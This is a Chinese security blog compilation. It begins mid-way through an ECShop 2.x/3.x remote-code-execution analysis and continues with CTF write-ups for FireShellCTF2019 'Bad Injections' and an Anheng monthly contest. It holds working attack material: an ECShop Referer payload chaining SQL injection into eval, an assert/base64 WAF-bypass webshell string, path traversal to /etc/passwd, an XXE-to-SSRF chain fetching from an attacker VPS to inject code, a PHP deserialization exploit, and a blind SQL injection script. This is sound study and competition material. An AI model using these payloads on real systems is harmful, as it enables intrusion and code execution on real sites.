                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }
         return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    }

第一个正则会匹配危险的字符串函数,重点在最后一个正则。\\1是替代表达,匹配到的字符串会替代\\1的位置。

eg:return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", "xxx{abc}xxx");结果就是return $this->select('{abc}')

跟进select函数

/**
 * 处理{}标签
 *
 * @access  public
 * @param   string      $tag
 *
 * @return  sring
 */
function select($tag)
{
    $tag = stripslashes(trim($tag));

    if (empty($tag))
    {
        return '{}';
    }
    elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
    {
        return '';
    }
    elseif ($tag{0} == '$') // 变量
    {
//            if(strpos($tag,"'") || strpos($tag,"]"))
//            {
//                 return '';
//            }
        return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
    }
    ......

trim处理了字符串两边的{},最后返回一段php标签下的字符串,如果成功返回,则之前的eval就可以执行这段php字符串。不过这个值的获取取决于get_val,跟进get_val

/**
 * 处理smarty标签中的变量标签
 *
 * @access  public
 * @param   string     $val
 *
 * @return  bool
 */
function get_val($val)
{
    if (strrpos($val, '[') !== false)
    {
        $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
    }

    if (strrpos($val, '|') !== false)
    {
        $moddb = explode('|', $val);
        $val = array_shift($moddb);
    }

    if (empty($val))
    {
        return '';
    }

    if (strpos($val, '.$') !== false)
    {
        $all = explode('.$', $val);

        foreach ($all AS $key => $val)
        {
            $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
        }
        $p = implode('', $all);
    }
    else
    {
        $p = $this->make_var($val);
    }

若$val不存在.$则进入make_var()

/**
 * 处理去掉$的字符串
 *
 * @access  public
 * @param   string     $val
 *
 * @return  bool
 */
function make_var($val)
{
    if (strrpos($val, '.') === false)
    {
        if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
        {
            $val = $this->_patchstack[$val];
        }
        $p = '$this->_var[\'' . $val . '\']';
    }
    else
    {
       .....

这个make_var的$val可控,则表明返回的$p可控,最终返回的$this->get_val()就可控,也就是$this->_eval的实参可控(一段PHP标签下的字符串),从而getshell。

构造Payload我用逆推的思路,逐步满足每个函数判断的条件

最终的POC要结合SQL注入,通过id和num参数将order by注释

再利用union select构造指定列的值:第二列postion_id,第七列position_style

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

id的值就是' /*,num的值*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -,0x27202f2a是' /*的16进制值,也就是第二列$row['position_id']的值。0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d{$'];phpinfo/**/();//}的16进制值

漏洞修复

看到ecshop4/ecshop/includes/lib_insert.php

对id和num进行强制类型转换了,字符串无法利用

题外话

创宇WAF拦截的Payload是这样

{$abc'];assert(base64_decode('YXNzZXJ0KCRfR0VUWyd4J10pOw=='));//}

巧妙解决了$_GET[]的[]问题,测试用法

参考链接

https://paper.seebug.org/695/#_5

FireShellCTF2019 Bad Injections解题记录

FireShellCTF2019 Bad Injections解题记录

原文投稿安全客:https://www.anquanke.com/post/id/170381

题目名称:Bad Injections

题目地址:http://68.183.31.62:94

貌似现在还没有关环境,这是整场比赛最简单的Web题…Web题质量很高,表哥们可以趁环境在去爽一下

主页面有四个功能,纯静态页面。右键about页面源码信息:

给个本地web目录

接着在list页面的源码里发现信息:

因为页面显示图片,url没有其他参数,猜测应该是readfile之类的函数读的文件。File+hash的方法,既然是ctf,那hash应该不会加key。下载一个文件试一下能不能成功

68.183.31.62:94/download?file=files/../../../../../etc/passwd&hash=ab56ade6fe16a65bce82a7cd833f13cc

这里让hash = md5(file),成功下载到了/etc/passwd

尝试去读/flag发现文件不存在,去读.bash_history也不存在..捷径失败…

看到之前list下载的test.txt内容是这样的

down一下download的源码,顺便fuzz一下Controllers的文件

68.183.31.62:94/download?file=files/../../app/Controllers/Download.php&hash=f350edcfda52eb0127c4410633efd260

字典只跑出来了个admin.php

看了源码感觉存在一个XXE或者是create_function的代码注入,因为找不到/flag所以利用XXE没什么卵用,应该就是代码注入点,但是要加载外部文本来引入正确xml文本才能进入函数判断。

尝试请求admin?url=xxx&order=xx死活获取不到页面,应该是路由没找对。在这卡了一会,请教腹黑师傅,才想起来去读入口文件。

68.183.31.62:94/download?file=files/../../app/Index.php&hash=1dfd7acd700544ea7d26b8368935c4e8

/app/index.php

<?php
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}

再去读路由/app/Routes.php,看看是个什么狗屁规则

<?php

Route::set('index.php',function(){
  Index::createView('Index');
});

Route::set('index',function(){
  Index::createView('Index');
});

Route::set('about-us',function(){
  AboutUs::createView('AboutUs');
});

Route::set('contact-us',function(){
  ContactUs::createView('ContactUs');
});

Route::set('list',function(){
  ContactUs::createView('Lista');
});

Route::set('verify',function(){   
  if(!isset($_GET['file']) && !isset($_GET['hash'])){
    Verify::createView('Verify');
  }else{
    Verify::verifyFile($_GET['file'],$_GET['hash']);  //设置session,file和hash对应请求文件
  }
});


Route::set('download',function(){
  if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){
    echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
  }else{
    echo 'jdas';
  }
});

Route::set('verify/download',function(){
  Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
});


Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler); // xml
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

Route::set('custom/sort',function(){
  Custom::sort($_REQUEST['rss'],$_REQUEST['order']);
});
Route::set('index',function(){
 Index::createView('Index');
});

原来我只下载了download和admin页面,还有其它功能页面没下载到,看到了玄学的admin规则如下,原来只有本地才能请求到sort函数

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

找一下其他利用,再看Custom

Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler); 
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Custom::Test

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }
}

$data内容可控为php://input,Test函数再将$data作为xml文本解析,那么存在XXE的问题,验证了一下可以利用

联想到刚才admin页面只有本地才能请求,那就用Custom的XXE当跳板好了,测试一下是否能当跳板

poc:

<?xml version='1.0'?> 
<!DOCTYPE name [<!ENTITY  file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fyour_vps%2Fxxe.txt&order=1">]>
<note>
<name>&file;</name>
</note>


admin页面确实file_get_contents到了我vps的xxe文本。

尝试去构造正确的xml文本到执行到usort函数进行注入,warning不影响代码执行

http://vps/xxe.txt

<?xml version="1.0" encoding="utf-8"?>
<root>
<channel>
<item>
<link>@hpdoger.me</link>
</item>
<item>
<link>@souhu.com</link>
</item>
</channel>
</root>

POC

<?xml version='1.0'?> 
<!DOCTYPE name [<!ENTITY  file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fvps%2Fxxe.txt&order=id%29%3B%7Decho%28file_get_contents%28%27..%2F..%2F..%2Fda0f72d5d79169971b62a479c34198e7%27%29%29%3B%2F%2F">]>
<note>
<name>&file;</name>
</note>

安恒杯月赛19新年场WriteUp

安恒杯月赛19新年场WriteUp

Web

WEB1

题目代码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

考点

考点一:echo可以调用toString()函数用来返回flag.php内容

考点二:让$this->nice是一个非baby的类,就能绕过$str

考点三:unserialize()不会执行construct,外部不可控protected变量skyobj,但是序列化时可以放到construct内部控制

EXP

class baby 
{   
    protected $skyobj;  
    function __construct() 
    {      
    $this->skyobj = new cool;
    $this->skyobj->amzing = serialize(new sec);
    $this->skyobj->filename = "flag.php";
    }  

}

class sec 
{
    function read(){}
}

class cool 
{ 
    public $filename;     
    public $nice;
    public $amzing; 
}


$test = new baby();
echo urlencode(serialize($test));

WEB2

约束攻击登陆admin

登陆后盲注

EXP

#!/usr/bin/env python
# encoding: utf-8

import requests
import time


def login(payload):
    url = "http://106.12.21.77/Admin/User/Index?search[table]=flag/**/where/**/1/**/and/**/%s" % (payload)
    # print "[+] %s" % (url)
    before_time = time.time()
    cookies = {'PHPSESSID': '3kus5jrhoqav8te0kf74hglii7'}
    response = requests.get(url, cookies=cookies)
    # content = response.content
    after_time = time.time()
    offset = after_time - before_time
    # print "[*] Offset : %f" % (offset)
    if offset > 2.5:
        return True
    else:
        return False

def main():
    data = ""
    charaters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    for i in range(1, 40, 1):
        for j in charaters:
            payload = "if((mid((select/**/flag/**/from/**/flag),%d,1))='%s',sleep(3),0)%%23" % (i, j)
            if login(payload):
                data += str(j)
                print "[+] Found : %s" % (data)
                break


if __name__ == "__main__":
    main()

MISC

隐写

binwalk -e zhu.jpg

Stegsolve

MISC2

内存取证

volatility一把梭

volatility imageinfo -f memory #分析操作系统
volatility hashdump -f memory --profile=WinXPSP2x86 #查看当前操作系统中的 password hash

得到管理员hash如下:

Administrator:500:0182bd0bd4444bf867cd839bf040d93b:c22b315c040ae6e0efee3518d830362b:::

所以c22b315c040ae6e0efee3518d830362b即为管理员密码的md5值,解出来是123456789,再md5一下就行。

相关链接

内存取证工具 volatility 使用说明:https://www.restran.net/2017/08/10/memory-forensics-tool-volatility/

CRYPTO

键盘密码

ypau -> flag

not found!